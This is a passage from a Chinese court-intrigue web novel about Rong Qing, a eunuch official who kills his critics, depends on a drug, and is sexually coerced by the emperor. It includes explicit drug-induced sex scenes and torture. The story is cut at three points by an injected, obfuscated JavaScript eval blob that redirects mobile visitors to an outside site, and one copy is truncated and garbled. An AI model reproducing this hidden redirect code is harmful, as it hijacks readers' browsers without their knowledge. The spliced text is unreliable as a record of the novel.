《艳宦》 1. 初雪 雪落京师。 这是今岁的初雪,纷纷扬扬,只消片刻,便覆满红墙黄瓦。所谓瑞雪兆丰年,本该是件大喜事,可宫道上众人来去匆匆,噤声垂眼,皆是战战兢兢的模样。 那雪落在容倾的睫羽上。他轻轻眨眼,抖落碎雪,呵出一口蒙蒙的气,眼底比这满天大雪还要冷上几分。 啪。 啪。 啪。 一声又一声,木杖打在肉身上,发出沉闷的声响,伴随几声颤抖的吐息,在这寂静的雪地里徘徊不止。 “杨大人。”容倾轻启朱唇,“您瞧瞧,下雪了。您不是前儿个才和万岁爷上了奏章,说一日不除容妖人,这雪就一日下不来么?怎么今儿个就下起了雪呢?” 说罢,轻笑一声,低头摆弄手里的錾花式锦地纹暖炉,发觉不暖了,便瞥过眼,示意一旁的贴身侍从,叫人将手炉换下去。 “妖人……” 长凳上正被木杖责打的男人抬起头,嘴唇翕动几下,几乎是咬牙切齿吐出这两个字。 “督主,这杨瑞的嘴真是臭!依奴婢看,不如就这般打死了,也算不得什么损失。”长乐一面狠狠骂道,一面给容倾的手炉里添上新炭,“您当心些,别烫着了。” 打死? 容倾接过手炉,居高临下瞧着眼前狼狈的男人,唇角一抹阴冷的笑:“只是打死,倒还是便宜他了。”说到半,他纤长的手指微动,拂去暖炉上的细雪,慢条斯理道:“诏狱里新来了个掌刑,手法生疏,正缺个练手的物件。长乐——” “奴婢在。”长乐恭谨道。 “叫他们别打了,怪难看的。”容倾转身欲走,猩红的衣摆卷起几缕碎雪。他蟒袍玉带,罩着一件紫貂皮大氅,容貌艳丽至极,在萧萧风雪中,却平添几分开到荼蘼的寂寥。 侍卫们立时停下动作,垂首肃立。雪地里只剩下杨瑞嘶哑的喘息声,一股淡淡的血腥气在风雪中散开,没来得及洇染,就已被大雪掩盖。 “为何……”杨瑞已然半死不活,瞳孔涣散,口角有鲜血缓缓溢出。 “为何?”容倾嗤笑一声,并未回首,“杨大人,您那一份奏章,骂了咱家是妖人,倒也罢了。可万岁爷祈雪整整十日,骤然一份弹劾递到眼皮子底下,别提多糟心了。再者——” 容倾徐徐转身,眼尾上扬,露出一个略带血腥气的笑容:“咱家是万岁爷亲选的人,你骂咱家……不就等同在骂万岁爷么?” 杨瑞瞳孔骤缩,干枯的唇颤抖不已,可那些愤怒的、恶毒的辱骂无论如何也出不了口,当然,他也没机会说了。 光瑞二十二年,冬。司天监监正杨瑞上奏,称久无瑞雪,乃妖人容倾所致,恳请光瑞帝除此妖孽,救苍生水火。帝大怒,勒令杖责八十。三日后,杨瑞死于诏狱。 满朝文武,不发一言。 …… 除掉一个弹劾自己的人,对于容倾而言,不过是件习以为常的事。 今岁他二十有八,任司礼监秉笔太监,统领东厂,深得帝心,风头两无。不过哪怕他南定藩王之乱,北抗鞑靼、瓦剌,所经之处贪官人头滚地,将“督查百官,生杀予夺”八个字发挥至极,可谓是功勋赫赫。却因为人阴狠毒辣,又是个阉人,十年来一直是群臣上奏弹劾的首要对象。 烦。 容倾如此想道。 一场雪下了三日,杨瑞的死讯传来时,他正坐在司礼监值房的窗下,浅浅呷了一口茶,欣赏无边无际的雪景。 “督主。”长乐悄无声息跪在他面前,“杨瑞已经死了。” “嗯。”容倾撇去茶碗上的沫子。 一个杨瑞而已,算不得什么。他哪怕杀了此人全家,皇帝也不会说什么重话,顶多申饬他几句手段严酷。 若是不严酷……让他等死么? 斩草除根是个世人皆知的道理。 “另外,有件喜事儿,督主您听了一定高兴!”长乐直起身子,膝行至容倾跟前,试探着捏了捏容倾的腿。 “哦?”容倾并未躲开,而是选了个舒服的姿势,倚靠在软榻上,挑了挑眉,“说来听听。” 长乐力度适中,不轻不重捏着他的腿,笑道:“四喜要回来了!前些日子辽东大捷,鞑靼和女真各部后撤三百里,怕是一两年都缓不过气呢!这不,去辽东监军的四喜,过不了几日便能回京,常伴督主左右,也省得督主老是念叨他。” “这事我怎么不晓得?”容倾微微蹙起眉。 长乐连忙道:“奴婢方才进屋时听秉笔爷们说的,今晨刚到的战报,个个瞧了,心里高兴得不行。待会督主您给万岁爷捎去,万岁爷见了,一定重重有赏。” “就你嘴甜。”容倾懒懒伸出手,弹了长乐的脑门一下,“快将捷报呈上来,我要亲自瞧一瞧。” “喏。”长乐笑着退下。 辽东大捷…… 容倾轻轻摩挲手上的玉扳指,一时心绪纷杂。他晓得长乐为何那般高兴,长乐与四喜是亲兄弟,十多岁时便在他身边伺候。亲兄弟活着从战场上回来,自然是欣喜万分。 辽东大捷,也确是件喜事。 容倾却高兴不起来。 这意味着那个人……八成也要回来了。 细细回想他这如履薄冰的一生,着实没什么软肋可言,唯独对那人,他勉强算是心怀愧疚。一别三年,他竟有些不知如何面对。 “督主……督主?”长乐在他耳边低声唤道。 容倾回过神,淡淡道:“捷报呢?” “请督主过目。”长乐双手呈递捷报,眼睛却在观察容倾的神情,片刻后,小心翼翼说道,“督主,奴婢还得知了一个消息,不知……” “说罢。” “五殿下他……也将随班师回朝。” 果不其然。 容倾翻过一页纸,面上波澜不惊,心里却掀起一丝微妙的愤怒。 他想,那个人怎么有脸回来的? 回来作甚? 是来看他这幅不人不鬼的可笑模样,还是来向他讨债的?心口蓦然一刺,容倾下意识捂住左胸口,强压下那股微妙的不适。 面对着长乐,他并未展露一丝不耐,只是不咸不淡道:“回来不是应该的么?一个皇子,不就藩,不娶妻,在外头整日晃荡,算什么样?” 长乐不敢作答。 这也不能怪他,天底下敢这般说五皇子的人,除了那位九五至尊,便是眼前这位东厂提督了。那些皇家辛密,不是他这等奴婢能碰的。 他侍奉容倾多年,最知这位大人物,外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305381|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头光鲜,里子却是十分的苦。 那龙床岂是好躺的? 毕竟……除了妖人的蔑称,容倾还有一个不怀好意的外号——容娘娘。万岁爷搁置后宫,独宠一个阉人,乃满朝皆知的秘密。 长乐有时跪着替容倾整理繁复衣带,会禁不住想,这般泼天的权势与富贵,却要受得住明里暗里的唾骂与嫉恨,裹在这身秾丽皮囊和蟒袍玉带之下的,又究竟是个怎样的人。 长乐看不清。 容倾不知长乐心底的千言万语,只是捻着那几页薄薄的、犹沾几丝硝烟气息的战报,凝眸沉思,恍惚间,竟想起的是多年之前,他在乾东五所的年岁。 他不得不承认,那是他年少时最安稳的一段日子。五皇子彼时年幼,他们皆是紫禁城的边缘人,相依为命,捱过几朝寒风。 缘何至此。 如今他一句话都不想说,一面都不想见那人。 心绪庞杂,容倾忽而脸色惨白,心口那股刺痛愈发明显。他喉头泛上一股腥甜,便下意识去捂住嘴,谁料那血止也止不住,从他唇角溢出,沿着苍白的指缝,淅淅沥沥地滴落。 “督主!”长乐见状,肝胆俱裂,急忙跌跌撞撞起身,从袖中取出帕子,慌乱拭去容倾嘴角的血,“奴婢去请太医……奴婢万死,未能照顾好督主……” 疼痛从五脏六腑蔓延至骨头缝,容倾疼得发抖,在软榻上蜷成一团,那张昳丽的脸,逐渐爬上了死亡的灰白色。 “别去……找太医……”他气若游丝,唇角仍在涌出鲜血,“老毛病了……拿药来……” “药?可是那药……”长乐急得快哭了,“那药虎狼至极,大夫说过万万不可……” “快去!”容倾眼风似刀,冷冷割在长乐的身上,厉声勒令道。 长乐由不得他,只得取了药来,一共三丸。他扶起容倾,就着温水服下,喂药时他双手颤抖,容倾便哑声道:“怕什么,死不了。” 过了片刻,怀里的人脸色方才好些。 纤细,瘦弱。 哪怕长乐也是个少年时期便净了身的宦官,常年习武,个子不俗,也能一手揽住容倾清瘦的腰,将人抱在自己的怀里。 吃了药,容倾总算喘过一口气,但随之而来的,是一阵烧心的浪潮。他苍白的脸染上酡红,眼眸渐渐迷离,无意识地夹起大腿。 那药的副作用来了。 容倾轻声唤道:“长乐……” “奴婢在。”长乐紧紧抱着容倾,额上冷汗涔涔。 “好难受……”那双乌沉沉的黑眸里漫上一片潋滟的水意,连长乐一个阉人,也不禁看得意乱神迷,忍不住低头吻在容倾的额头上。 时辰不够,他没法子去找个干净的男人来给容倾解一解药性,便大着胆子,撩开蟒袍,惊觉已然湿润一片。 “督主……”长乐近乎是痴迷了,“请允许奴婢……侍奉。” 说罢,也不顾容倾的反应,大着胆子吻上那薄薄的唇。容倾低喘一声,非但不抵抗,甚至主动解了腰带,将整个人沉入浪潮之中。 他是个双儿,作为男人,他已不能人事,至于作为女人……即使残缺,无法生育,也属实是天下第一等的艳景。 故而世人皆说他为—— 艳宦。 2. 药性 一个时辰后,天光大亮。 容倾敛起春色,拢上中衣,从软榻上起身,叫长乐给自己更衣。他虽说神色浅淡,两颊绯红,可眉间仍凝着一分倦怠。 方才的情/事于他而言,不过饮鸩止渴,勉强吊着一口气。早年驰骋沙场、滥用武功,便落下了一身的病,他的身子如今比一张纸都来得脆弱。皇帝赐下的这副奇药,虽能吊命,副作用也凶猛万分,叫他彻底沦为身躯的奴隶,令他不得不依赖它。 若非当夜是他在司礼监值房,也不至于让长乐……罢了。往日他回到府上,或者宿在乾清宫里,自有男人给他化解药性。方才也不过是情急之举,好在长乐做得熟练,那股欲念解了个七七八八,只余下骨髓深处的厌倦与空虚。 长乐垂着眸子,掩去眼底的痴迷,将那件猩红的蟒袍重新披到容倾纤瘦的躯体上,动作轻柔,指尖微微颤抖,替身前人系好衣带。 与平日冷硬残酷的督主不同,在榻上的容倾,格外多情温软,叫人止不住地心疼,又恨不得将其彻底征服。 “长乐。”容倾冷冷唤道。 “奴婢在。”长乐伏下身子,毕恭毕敬。 容倾垂首,瞥一眼脚下的侍从,无端生出一股茫然。他着实不算什么好东西,和他接触过的男人,大多成了他的入幕之宾。 他想,有人真正爱过他么? 远远传来几声钟鸣,是番邦人进献的自鸣钟,新奇的玩意,到了整时辰,叮叮当当地响。容倾拉回思绪,自嘲一笑,手指微动,拂去蟒袍上并不存在的尘土,向门外迤逦而行:“没什么……起来罢,该去见万岁爷了。” 长乐嘴唇翕动,终是一言不发,沉默地追随容倾,踏入那茫茫大雪之中的紫禁城。 …… 待容倾进到乾清宫,还未踏入暖阁,便听得一阵低沉的笑声,接着是一句雄浑的叫好:“好啊!辽东大捷,朕这几十年来,还是头一次这般痛快!赏!重重的赏!大伴,你立时遣人通知内阁及六部!” 他神色蓦然一冷。 不过是耽误了片刻,孟进已然抢先一步,给皇帝呈上了捷报。容倾几乎止不住自己的冷笑,这老不死的阉狗,尽给他添堵! 他并非一家独大,朝中数党林立,互相掣肘,哪怕是他,也得时不时提防政敌的手段。皇帝给了他权倾朝野的宠爱,却又提拔了更多的人,在朝廷形成多方制衡的局面。例如方才的司礼监掌印太监孟进,正是容倾的强劲对手之一。 容倾略略整理衣裳,掀袍踏入暖阁,头一句话竟并非请安,而是隐含埋怨的一句:“臣来晚了,不知万岁爷因何事而喜,臣罪该万死。” 上首的男人笑笑:“容卿来了,怎的不叫人传唤一声?” 这男人年约四旬,乍一看倒是年轻,只是眼角有几丝细纹,身材高大,脸庞英挺,身着明黄色常服,虽说闲闲坐在圈椅上,可周身的威严气度彰显出他不凡的身份——当今圣上,赵瞻,年号光瑞。 容倾浅浅行礼,垂眸委屈道:“臣原有件喜事要说与万岁爷听,如今看来,却被人抢先了一步……不知万岁爷喜的,同臣喜的是不是一件事儿。” 他这话近乎是娇嗔了。 可面上却还是恭谨的神态,绕是严厉的老师傅,也挑不出他礼仪上的错误。 “你那儿也有喜事?”赵瞻挑眉,“说来听听。” 容倾瞥了一眼男人:“掌印不已经说了么?辽东打了胜仗,班师新岁之前回朝,臣在外头,就听见了万岁爷的笑声,打心里替万岁爷、替辽东将士与百姓高兴呢。” “容秉笔有心了。”一旁的孟进淡淡道。这位司礼监掌印,已过耳顺之年,鹤发童颜,有文人之气,粗瞧起来,竟给人一种好相与的错觉。 老不死的! 容倾心中不忿,面上仍是恰到好处的笑意:“掌印亦是有心,说来也是奇了,昨夜并非掌印当值,怎的先臣一步得了捷报?” 孟进露出一个诧异的神情:“臣倒奇怪,今晨去到司礼监,不见容秉笔,只得取了捷报,匆匆呈给万岁爷……” “这是怎么一回事?”赵瞻看向容倾,手中泥金撒扇轻叩掌心。 容倾听了这话,更委屈了,低声道:“回万岁爷,臣……老毛病犯了,在后屋缓了大半个时辰……是臣身子不争气。” “说的哪里话?”赵瞻轻声叹息,“你这身子就是太争气,才落得一身的病。药可吃了?”皇帝的目光带上了几分探究,扫过容倾齐整的衣襟,似乎欲透过那身华服,瞧见素白胴体上属于情爱的痕迹。 “臣叩谢万岁爷垂怜。”容倾面不改色撒谎,“不过是心口疼了一会儿,不兴吃药的,用了些补血益气的汤水,好多了。” 赵瞻淡淡道:“那便好。” 暂居下风,孟进也不气恼,仍是一副慈蔼谦卑的神情,“万岁爷,辽东大捷这事……臣听闻,五殿下勇猛善战,亲领奇兵,大破敌军,而今不过十八岁,我大燕真是人才辈出啊。臣倒记得,五殿下至今未就藩,此次回京,不如一并封了罢。” 赵瞻不答,只看向容倾:“五殿下由你抚养大,你算他半个长辈,容卿,你觉得呢?” 他觉得? 他如何觉得…… 容倾的心口又浮出针扎般的疼痛,细细密密,他欲用指尖按住心口,可在孟进眼皮底下,他不好露出疲态,只得硬撑着,微笑道:“臣以为孟掌印说得极是。” 对,那个人必须走。 他不敢想,倘若留这么一个隐患在京中,他该怎么处理这些乱成一团的关系。除非……除非那人已经放弃了、认清了,认清他是赵瞻的人,认清他虚伪恶毒的真面目。 赵瞻却道:“此事不急,待五郎归来,问一问他的意思,再从长计议罢。” “喏。”容倾、孟进齐声答道。 皇帝都发话了,他俩再就此事讨论,就不大合适了。一个成年皇子留京与否,事关社稷稳定,全看赵瞻如何制衡。 捷报已达,孟进瞥一眼皇帝的目光,见那目光徘徊在容倾的身上,心似明镜,说了几句好话,自觉退下了。 暖阁只剩君臣二人相对。 或者说……帝妃。 赵瞻执扇虚点一下容倾,面上懒懒笑道:“子定,到朕怀里来。你脸色这般惨白,身子怕是一直不大爽利罢?” 子定,是赵瞻亲赐他的字。 容倾顺从上前,绕过金丝楠木长案,坐到皇帝的腿上,依偎进那个宽厚的怀里,小声道:“心口疼,方才险些站不稳了。” “药呢?”赵瞻问。 容倾咬住下唇,倔强道:“放长乐那了。不碍事,臣忍上一忍,过一会儿便见好了。” 他才吃过不久,得亏有长乐在,勉强解了药性。若当下再吃几粒,岂不是浪费大半日在那事上?他将头埋在皇帝的胸口,语含几分撒娇:“再说,不消一个时辰,捷报便能传遍京师,群臣来贺,臣一介奴婢,怎敢独占万岁爷呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305382|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵瞻闻言,笑了笑,手指挑开容倾的衣襟,露出雪白的肌肤,以及一段深邃的锁骨,左锁骨的尖上有一粒夺目的红痣。 “容倾,不要撒谎。”皇帝轻笑一声,“吃过药了罢?同谁上的榻?你那个贴身侍从长乐?一个阉人罢了,你能从他那儿得几分愉悦?” 容倾浑身僵硬:“臣……” 赵瞻果然清楚,比谁都清楚……明明视自己为所有物,为何要赐下那样的药,教他不得不去找旁人? 容倾不解极了。 莫非是这个皇帝的一种炫耀? “听话,自个把药吃了,伏到案上,让朕来给你解一解药性。”赵瞻语气中满是怜爱,激得容倾浑身颤抖不已,“水怎的那么多?” 不要…… 容倾内心在剧烈呼喊。 可他还是顺从了,身体循着本能,乖乖取出药瓶,倒出三粒赤红的丹丸。正欲倒入口中,却见赵瞻拾过那三粒丹丸,和着茶水,一颗一颗亲自喂给了他。 苦涩。 一颗泪划过容倾秀挺的鼻梁,他屈辱、痛苦,但也值得……他清楚,他的权与势,皆来自赵瞻,在还未能脱离男人之前,他必须忍辱负重。 神志尽数焚烧,他伏在偌大的桌案上,一片春情幽微,在赵瞻眼前展露无遗。皇帝欣赏许久,俯身而上,拍了一下他的后腰,命令道:“听话,夹好了。” 容倾没力气,夹不紧。 他只想让这个男人粗暴一些,彻底摧毁他的一切,叫他更快一点从痛苦中解脱,于是他一面落泪,一面轻轻唤道:“瞻郎……求求你……” 这极大取悦了赵瞻。 往日他必定徐徐图之,花上一整夜的光景,叫人神志全无,沦为绝对驯服的娇奴。可今日的一声“瞻郎”,他却想对待情人那般,轻柔又折磨地玩弄。 这位皇帝也确实这么干了。 一个多时辰后,总算进行至尾声,连着先前的药性皆解了个彻底,容倾手脚发软,瘫倒在桌案上。身畔尽是散乱的奏章,他的发髻也散了,一头青丝沿着纤美的颈子,一路流泻至清瘦的腰背,垂落至膝盖以下,那般柔美起伏的线条,宛若春山秋水。 赵瞻衣衫不过稍稍凌乱,只消片刻,他恢复衣冠楚楚的帝王模样,将容倾抱下桌案,随手扯了一件散落的袍子,披在雪白透红的躯体上。他亲了亲容倾疲惫的眉眼,语气餍足:“好孩子。”一面笑说,一面用帕子拭去怀里人身上的狼藉。 “……万岁爷……”容倾喃喃道,两颊的红正在缓缓退去,灵台一点一点逐渐清明,“五殿下那儿,只怕他不肯……” “好端端的,提起五郎作甚?”赵瞻将他打横抱起,带到暖阁的后间,“三年前他不肯娶妻就藩,在战场上历练了三年,也该明事理了,你替他操什么心?” 容倾闻言轻轻叹口气。 那孩子…… 五皇子的生母洪嫔,生下他后便撒手人寰,又因牵扯了一些事,一直不大受赵瞻的宠爱。直到十几岁的容倾去到五皇子身边,将其拉扯长大,两个人才有了今日的一番光鲜亮丽。 一个是一人之下、万人之上的权宦。 一个是驰骋沙场、立下军功的皇子。 不该是那样的…… 容倾一口气险些没喘上来,一时头晕眼花,歪倒在赵瞻怀中。 倘若他与那人真情同母子,为何那人偏偏要对他说……说他对他,是男女之情? 荒唐至极。 3. 重逢 待容倾神志清灵后,赵瞻已经将他打扮得差不多了。大红的蟒袍,金镶玉的耳坠,翡翠与金银相映成辉,他像只被人精心塑造的瓷人儿,一丝瑕疵也无,脸上不施粉黛,情潮留下的绯红已是最艳丽的胭脂。 “尚可。”赵瞻捏着他的下颌,细细打量过每一处,眉头微微蹙起,“可惜了,这身衣裳还差点风韵,虽说明艳,犹缺几分……”皇帝自个也说不出来,眼前的人儿似乎缺了什么,或是……隐藏了什么。 漂亮的瓷人美则美矣,但不是容倾。 容倾的眼珠子动了一下,从漫长的麻木中转醒,几乎是本能地浮现出一个乖顺的笑容,人忽而活了过来。 对了。 这才是熟悉的容倾。 赵瞻总算满意了,他牵起容倾的手,将那双纤细的手包入掌心,语气温柔,好似他是一个儒雅随和的好丈夫,正与爱妻话着家常,“五郎三年未归,恐怕想你想得紧。七日后班师回朝,子定,你且率人出城迎接他罢。” “臣领旨。”容倾的笑意有了几分真切,“必不负万岁爷期望。” 于他自个而言,并不愿与五皇子见面,但面对主持大型礼仪的诱惑,这一点幽微的不情愿,便也算不得什么。 那个人……不重要。 没有什么比他如今抓住的权力更重要。 他总算好了一点。这些年,除了实打实握在手里的好处能让他稍稍安心,其余的人和事,难免勾起他的疑心。 “五郎那孩子,脾气犟,像他早逝的娘。早些年朕忽视了他,颇觉对不住,好在有你陪着他,也算弥补了些许遗憾……” 赵瞻轻笑一声,掌心搭在容倾的肩头,让人转过去对着明镜,下颌靠在那单薄的肩上,凝视镜中的倒影。 “三年前,他同你我大吵一架,不肯就藩,亦不肯娶妻,非要去到军中历练。他倒是争气,从籍籍无名的小兵一路升到参将,立下大功,过几日你见了他,别再纠结先前的龌龊,好好说上几句话,那么多年的养育之恩,谅他也不会忘记。” 容倾也在看着镜中的自己。 面目模糊。 从何时起,他连自己的模样也看不清了?纵使华服在身,站在王朝的中心,却还是不满足、不甘心。心愈是膨胀,却愈看不清自己…… 这是他的报应么? 那个人如今又是什么模样? 他指尖微颤,面上温顺道:“万岁爷教训的是,臣定同五殿下多说几句话,到底三年未见……臣心里也时常挂念他。” 赵瞻听了这话,露出一丝微妙的遗憾:“朕与你此生是无法拥有一个孩子了,也难怪你把五郎时常放心尖上。” 这话听得容倾想笑。 放心尖上? 那人也不过勉强算他的软肋,一旦回到京师,就会变成赵瞻拿捏他的把柄,稍稍出了差错,他和那人都是一个死。再说,他以为他们不过是相依为命的亲情,而那人却不以为然,想要得更多,偏偏容倾给不了。而这一份恩情到了赵瞻手中,却成了摆弄泥偶的细线,他和那人,乃至文武百官,都在唱着皇帝最爱的那一出热闹戏。 他只需弯起眼睛,陪着众人一同演下去就好。 他压下心头的一丝涩意,回过身,依偎进皇帝的怀抱,手指轻轻拨弄着龙袍的襟口,“臣与五殿下,是早年在宫里头一同长大的情分,心尖上的那个人……只有万岁爷。” 多好听的话。 赵瞻笑了,亲了亲他的额头。 而他在心里止不住地冷笑。 …… 由一个阉人代天子迎礼,无疑是荒唐的,哪怕容倾也算得上功勋累累,也左右不了一部分朝臣的怒意。 弹劾的奏章纷至,堆满司礼监的桌案。容倾靠在软榻上,一封一封地看,看得十分专注,似乎那上面弹劾的人不是他,而是某个陌生的谁谁。 长乐心里紧张。他沏了新茶,滚滚的雨前龙井茶,万般小心放在一旁,扫一眼垂眸阅览奏章的容倾,轻声道:“督主,要不要歇一会儿?” 他拿不准容倾的喜怒哀乐,上一刻笑语盈盈,下一刻却又冷着一张脸,都是常有的事。随之容倾掌握得越多,性子也愈发乖张,旁人须得仔细揣测,才能摸到一点的头绪。 譬如当下,长乐分不清容倾到底是无所谓,还是压着一肚子的气。烛火下容倾的脸泛着莹润的光泽,睫羽浓密纤长,有一点稚气。 容倾道:“不急。”说罢放下手里的奏章,吃了一口茶,水汽氤氲,接着道:“长乐,你去喊几个随堂的小子过来。” 长乐不解,但也只得叫了几个随堂太监过来。 只听容倾道:“弹劾的奏章太多,万岁爷不乐意看。你们去记下谁弹劾了、主要说了什么,列成单子交予咱家。” 那几个随堂道:“喏。” 奏章基本分了出去,容倾还留下了几份,压在案头,转头对长乐笑道:“这么多人弹劾,明日早朝,万岁爷怕是会不高兴,尤其是这个左佥都御史周子清,怎敢在奏章上出此狂言?” 他用两指捻起那份奏章,递予长乐,口中淡淡道:“竟敢说咱家是‘阉货误国’。误国?误的哪里的国?辽东打了胜仗,不正预兆着我大燕欣欣向荣,必定回到太/祖年间的盛世么?这人嘴上没个把门的,你说,该如何处置呢?” 长乐捧着奏章,并未翻阅,只是恭敬道:“一切全凭督主定夺。” 容倾微微眯起眼睛,纤手懒懒托着香腮,他想,杀一个杨瑞不足以彻底威慑朝廷,再杀一个周子清,恐怕也堵不住天下人悠悠之口,况且于他而言,也未免显得他过于嗜杀了。 再说……赵瞻会如何反应呢? 第二日一早,离早朝还有段光景,赵瞻瞧过递上来的奏章,特意挑出周子清的那份,脸上露出一抹意味不明的笑。 皇帝道:“前不久那个杨瑞说你误国,今儿个又上了好些奏章,个个说由你代朕迎凯不妥。尤其这个周子清,‘阉货误国’……子定,你自个说说看,你何时误过事?” 啪的一声,周子清的那份奏章落在容倾膝前,其上墨迹斑驳,字字句句直指“宦官弄权”。 容倾抬眸,目光清亮,隐隐带着一丝无辜的困惑:“臣自认无愧。万岁爷要臣办的事,督查藩王、辨明忠奸、监军大同、北抗瓦剌……桩桩件件,奏章都摆在万岁爷的案头,白纸黑字,皆记得分明。若这是误国,那臣……确实罪该万死。” 赵瞻闻言轻笑一声,直起身,手抚上他的脸庞,淡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305383|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“是么?” 废话。 容倾登时生出几分自嘲。 他还真能说得上几句一心为国,功勋都是实打实的。可惜他是个阉人,是皇帝的家奴,又是上战场打仗,又是插手盐铁漕运的整治,不就是妥妥的弄权么? 身子骨垮了,也换不到一句“鞠躬尽瘁”。 那是他们这种人不配的赞誉。 一滴泪酝酿片刻,蓦地坠落。 容倾哽咽道:“臣误国,误就误在……忘了自己是个奴婢,生了不该有的心思,竟真以为多做了一些事,便能为万岁爷分忧,能……有所不同。是臣忘了本分,痴心妄想,纵使耗到油尽灯枯,也是自找的,请万岁爷重罚。” 说罢,他深深伏下身子,似是泣不成声。 赵瞻软硬不吃,但爱看戏。 戏演得好,他便高兴。 只听得一阵低沉的笑,男人从龙椅上起身,步至容倾跟前,俯下身子,指腹温柔划过他泪水涟涟的脸庞,吐出的话却含着一股扭曲的愉悦:“容倾,你这张嘴,怎的总能给朕带来惊喜?” 男人一把拉过容倾,揽入怀中,轻轻抚摸他的发顶,像是在抚慰自己最得意的藏品:“朕说了准许你去,你便得去,这可是天底下最大的荣耀,朕疼你呢,是不是?至于周子清,他的嘴一向不讨朕喜欢,今日又让你落了泪……他的这条舌头,朕便赏给你的东厂,如何?” 容倾靠着皇帝的怀里,仍在微微抽泣,可他的眸子却空无一物,不知在看向何方。那目光越过龙椅,越过紫禁城,越过天地……在王朝的上空徘徊不已。 一种更深的仿徨自他五脏六腑蔓延。 他无法控制地颤抖。 …… 手起刀落,周子清人头落地,不过是他一句话的事。嗜杀的罪名已然确定,他懒得去摘除,那些人要骂,便骂了,他早已熟视无睹。不挡路,随便骂,若是挡了路,脑袋自然不保,这一向是他的处事风格。 而日子也到了迎凯的那一日。 赵瞻亲自给他选了衣裳。比起平日穿的蟒袍,今日他身上的这件,更是繁复精美,与其说是官服,倒更像一件戏服,金丝织就云龙蟒纹,沉重到几乎令他寸步难行。 却也像一簇热烈燃烧的火。 长乐跪在地上,为他系紧腰间玉带,恰好勾勒出清瘦的腰线,只觉手下的人身姿依旧挺拔,如山间覆雪的松柏,却叫人时常担忧,是否有一日终被冰雪压垮。 五殿下回来后……督主会多笑一笑么? 这个问题连容倾也无从作答。 他整装待发,去奔赴一场命中注定的鸿门宴。 迎凯的仪仗浩浩荡荡,绵延数里,最终停在卢沟桥一带。帷幄彩殿已经搭好,天公却不作美,阴云密布,似有风雪欲来。 容倾呵出一口气,脸色苍白,无喜无悲。他身后是文武百官,依次排列,静默无声,唯有龙旗在北风中猎猎作响。 当大军压境的那一刻,天上也落了雪。 容倾微抬起下颌,任凭雪落在自己的眉间。 大雪掩盖众人,唯独他那身红衣愈发明亮,几乎成了一点火星子,在风中摇曳,似要点燃这茫茫天地。 他一眼就看到了赵珝。 4. 迎凯 容倾记得,赵珝走的时候,才十五岁。 本该是鲜衣怒马的少年,可不知是自幼不受重视,或是本性使然,总是沉默而谨慎,生怕说错一句话,便什么也没有了。直到三年前悍然拒婚,远走辽东,震惊朝野。 眼前的男人,着实与曾经的腼腆少年大相径庭,轮廓深刻,身材高大,与他的父亲有六七成相似。 容倾只瞧了那张脸一眼,一种难以言喻的厌倦涌上心头,藏于袖中的手指微动,旋即面无表情转开了视线,对长乐淡淡道:“叫乐班准备。” 待旌旗当空之时,庄严的凯乐响彻天地。雪愈下愈大,将士们的铠甲上皆落了厚厚一层,铁与血的气息铺面而来,大地在马蹄与士兵的步履下隆隆作响。大雪洁白无瑕,铁甲泛着冷硬的深黑,文武百官虽身着彩衣,却因一动不动,周身挂满了白雪,唯有舒卷不止的彩旗,与红衣似雪的容倾,在苍茫大地上绽出一抹亮色。 容倾忽而有些伤感,在身子未垮之前,他也曾这般领着大军,在荒芜的草原上前行。而如今只能抱着一副病躯,苟延残喘,却依旧换不到他想要的荣耀。 “万岁爷洪福齐天,王师所向披靡!今辽东大胜大军凯旋,献俘阙下,吾皇圣德泽被四海,万岁,万岁,万万岁!”礼官见大军已至,高声喊道,刺破寂静的天地。 大军停歇,领头的几位大将,以及赵珝,纷纷下马,走至容倾面前。 这场景属实让几位大将吃了一惊,领头的那位辽东镇总兵吴怀英先是脸色一冷,而后上前几步,对容倾作揖,语气冷淡道:“可是容督主?” 容倾笑:“正是咱家。” 吴怀英道:“末将吴怀英,久仰督主大名,四年前督主同寇大帅自宁夏镇起兵,生擒瓦剌头领绰罗斯,实乃大燕英雄。不过,敢问万岁爷……” “吴总兵莫担忧。万岁爷不宜出京,此刻正在太庙告慰列祖列宗,命人备下佳肴名酒,欲一见诸英雄。至于咱家……不过是奉旨行事,替万岁爷提前瞧一瞧各位英雄罢了。”容倾怎会把一个总兵放眼里?他仍是笑意浅淡,令人挑不出错处,“时辰不早了,圣驾之前,还请诸将依制行礼。” 吴怀英不蠢,他只是愤愤不平。他不发令,众人也不敢上前,场面一时僵持,唯有无声的大雪纷飞,容倾身后的香案无人问津。 